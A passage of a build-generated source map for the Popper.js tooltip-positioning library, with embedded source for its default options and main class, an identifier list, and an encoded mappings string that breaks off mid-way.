@property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n","import modifiers from '../modifiers/index';\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overridden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass an object with the same\n * structure of the `options` object, as the 3rd argument. For example:\n * ```\n * new Popper(ref, pop, {\n *   modifiers: {\n *     preventOverflow: { enabled: false }\n *   }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nexport default {\n  /**\n   * Popper's placement.\n   * @prop {Popper.placements} placement='bottom'\n   */\n  placement: 'bottom',\n\n  /**\n   * Set this to true if you want popper to position it self in 'fixed' mode\n   * @prop {Boolean} positionFixed=false\n   */\n  positionFixed: false,\n\n  /**\n   * Whether events (resize, scroll) are initially enabled.\n   * @prop {Boolean} eventsEnabled=true\n   */\n  eventsEnabled: true,\n\n  /**\n   * Set to true if you want to automatically remove the popper when\n   * you call the `destroy` method.\n   * @prop {Boolean} removeOnDestroy=false\n   */\n  removeOnDestroy: false,\n\n  /**\n   * Callback called when the popper is created.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onCreate}\n   */\n  onCreate: () => {},\n\n  /**\n   * Callback called when the popper is updated. This callback is not called\n   * on the initialization/creation of the popper, but only on subsequent\n   * updates.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onUpdate}\n   */\n  onUpdate: () => {},\n\n  /**\n   * List of modifiers used to modify the offsets before they are applied to the popper.\n   * They provide most of the functionalities of Popper.js.\n   * @prop {modifiers}\n   */\n  modifiers,\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n","// Utils\nimport debounce from './utils/debounce';\nimport isFunction from './utils/isFunction';\n\n// Methods\nimport update from './methods/update';\nimport destroy from './methods/destroy';\nimport enableEventListeners from './methods/enableEventListeners';\nimport disableEventListeners from './methods/disableEventListeners';\nimport Defaults from './methods/defaults';\nimport placements from './methods/placements';\n\nexport default class Popper {\n  /**\n   * Creates a new Popper.js instance.\n   * @class Popper\n   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n   * @param {HTMLElement} popper - The HTML element used as the popper\n   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n   * @return {Object} instance - The generated Popper.js instance\n   */\n  constructor(reference, popper, options = {}) {\n    // make update() debounced, so that it only runs at most once-per-tick\n    this.update = debounce(this.update.bind(this));\n\n    // with {} we create a new object with the options inside it\n    this.options = { ...Popper.Defaults, ...options };\n\n    // init state\n    this.state = {\n      isDestroyed: false,\n      isCreated: false,\n      scrollParents: [],\n    };\n\n    // get reference and popper elements (allow jQuery wrappers)\n    this.reference = reference && reference.jquery ? reference[0] : reference;\n    this.popper = popper && popper.jquery ? popper[0] : popper;\n\n    // Deep merge modifiers options\n    this.options.modifiers = {};\n    Object.keys({\n      ...Popper.Defaults.modifiers,\n      ...options.modifiers,\n    }).forEach(name => {\n      this.options.modifiers[name] = {\n        // If it's a built-in modifier, use it as base\n        ...(Popper.Defaults.modifiers[name] || {}),\n        // If there are custom options, override and merge with default ones\n        ...(options.modifiers ? options.modifiers[name] : {}),\n      };\n    });\n\n    // Refactoring modifiers' list (Object => Array)\n    this.modifiers = Object.keys(this.options.modifiers)\n      .map(name => ({\n        name,\n        ...this.options.modifiers[name],\n      }))\n      // sort the modifiers by order\n      .sort((a, b) => a.order - b.order);\n\n    // modifiers have the ability to execute arbitrary code when Popper.js get inited\n    // such code is executed in the same order of its modifier\n    // they could add new properties to their options configuration\n    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n    this.modifiers.forEach(modifierOptions => {\n      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n        modifierOptions.onLoad(\n          this.reference,\n          this.popper,\n          this.options,\n          modifierOptions,\n          this.state\n        );\n      }\n    });\n\n    // fire the first update to position the popper in the right place\n    this.update();\n\n    const eventsEnabled = this.options.eventsEnabled;\n    if (eventsEnabled) {\n      // setup event listeners, they will take care of update the position in specific situations\n      this.enableEventListeners();\n    }\n\n    this.state.eventsEnabled = eventsEnabled;\n  }\n\n  // We can't use class properties because they don't get listed in the\n  // class prototype and break stuff like Sinon stubs\n  update() {\n    return update.call(this);\n  }\n  destroy() {\n    return destroy.call(this);\n  }\n  enableEventListeners() {\n    return enableEventListeners.call(this);\n  }\n  disableEventListeners() {\n    return disableEventListeners.call(this);\n  }\n\n  /**\n   * Schedules an update. It will run on the next UI update available.\n   * @method scheduleUpdate\n   * @memberof Popper\n   */\n  scheduleUpdate = () => requestAnimationFrame(this.update);\n\n  /**\n   * Collection of utilities useful when writing custom modifiers.\n   * Starting from version 1.7, this method is available only if you\n   * include `popper-utils.js` before `popper.js`.\n   *\n   * **DEPRECATION**: This way to access PopperUtils is deprecated\n   * and will be removed in v2! Use the PopperUtils module directly instead.\n   * Due to the high instability of the methods contained in Utils, we can't\n   * guarantee them to follow semver. Use them at your own risk!\n   * @static\n   * @private\n   * @type {Object}\n   * @deprecated since version 1.8\n   * @member Utils\n   * @memberof Popper\n   */\n  static Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\n\n  static placements = placements;\n\n  static Defaults = Defaults;\n}\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10.\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n"],"names":["window","document","longerTimeoutBrowsers","timeoutDuration","i","length","isBrowser","navigator","userAgent","indexOf","microtaskDebounce","fn","called","Promise","resolve","then","taskDebounce","scheduled","supportsMicroTasks","isFunction","functionToCheck","getType","toString","call","getStyleComputedProperty","element","property","nodeType","ownerDocument","defaultView","css","getComputedStyle","getParentNode","nodeName","parentNode","host","getScrollParent","body","overflow","overflowX","overflowY","test","isIE11","MSInputMethodContext","documentMode","isIE10","isIE","version","getOffsetParent","documentElement","noOffsetParent","offsetParent","nextElementSibling","isOffsetContainer","firstElementChild","getRoot","node","findCommonOffsetParent","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","contains","element1root","getScroll","side","upperSide","html","scrollingElement","includeScroll","rect","subtract","scrollTop","scrollLeft","modifier","top","bottom","left","right","getBordersSize","styles","axis","sideA","sideB","parseFloat","getSize","computedStyle","Math","max","parseInt","getWindowSizes","getClientRect","offsets","width","height","getBoundingClientRect","e","result","sizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","offsetHeight","getOffsetRectRelativeToArbitraryNode","children","parent","fixedPosition","runIsIE","isHTML","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","getViewportOffsetRectRelativeToArtbitraryNode","excludeScroll","relativeOffset","innerWidth","innerHeight","offset","isFixed","getFixedPositionOffsetParent","parentElement","el","getBoundaries","popper","reference","padding","boundariesElement","boundaries","boundariesNode","isPaddingNumber","getArea","computeAutoPlacement","placement","refRect","rects","sortedAreas","Object","keys","map","key","sort","a","b","area","filteredAreas","filter","computedPlacement","variation","split","getReferenceOffsets","state","commonOffsetParent","getOuterSizes","x","marginBottom","y","marginRight","getOppositePlacement","hash","replace","matched","getPopperOffsets","referenceOffsets","popperRect","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","find","arr","check","Array","prototype","findIndex","prop","value","cur","match","obj","runModifiers","modifiers","data","ends","modifiersToRun","undefined","slice","forEach","warn","enabled","update","isDestroyed","options","positionFixed","flip","originalPlacement","position","isCreated","onCreate","onUpdate","isModifierEnabled","modifierName","some","name","getSupportedPropertyName","prefixes","upperProp","charAt","toUpperCase","prefix","toCheck","style","destroy","removeAttribute","willChange","disableEventListeners","removeOnDestroy","removeChild","getWindow","attachToScrollParents","event","callback","scrollParents","isBody","target","addEventListener","passive","push","setupEventListeners","updateBound","scrollElement","eventsEnabled","enableEventListeners","scheduleUpdate","removeEventListeners","removeEventListener","isNumeric","n","isNaN","isFinite","setStyles","unit","setAttributes","attributes","setAttribute","applyStyle","instance","arrowElement","arrowStyles","applyStyleOnLoad","modifierOptions","computeStyle","legacyGpuAccelerationOption","gpuAcceleration","offsetParentRect","floor","round","prefixedProperty","invertTop","invertLeft","arrow","isModifierRequired","requestingName","requestedName","requesting","isRequired","requested","querySelector","isVertical","len","sideCapitalized","toLowerCase","altSide","opSide","arrowElementSize","center","popperMarginSide","popperBorderSide","sideValue","min","getOppositeVariation","validPlacements","placements","clockwise","counter","index","concat","reverse","BEHAVIORS","flipped","placementOpposite","flipOrder","behavior","FLIP","CLOCKWISE","COUNTERCLOCKWISE","step","refOffsets","overlapsRef","overflowsLeft","overflowsRight","overflowsTop","overflowsBottom","overflowsBoundaries","flippedVariation","flipVariations","keepTogether","toValue","str","size","parseOffset","basePlacement","useHeight","fragments","frag","trim","divider","search","splitRegex","ops","op","mergeWithPrevious","reduce","index2","preventOverflow","transformProp","popperStyles","transform","priority","escapeWithReference","shift","shiftvariation","shiftOffsets","hide","bound","inner","subtractLength","Popper","requestAnimationFrame","debounce","bind","Defaults","jquery","onLoad","Utils","global","PopperUtils"],"mappings":"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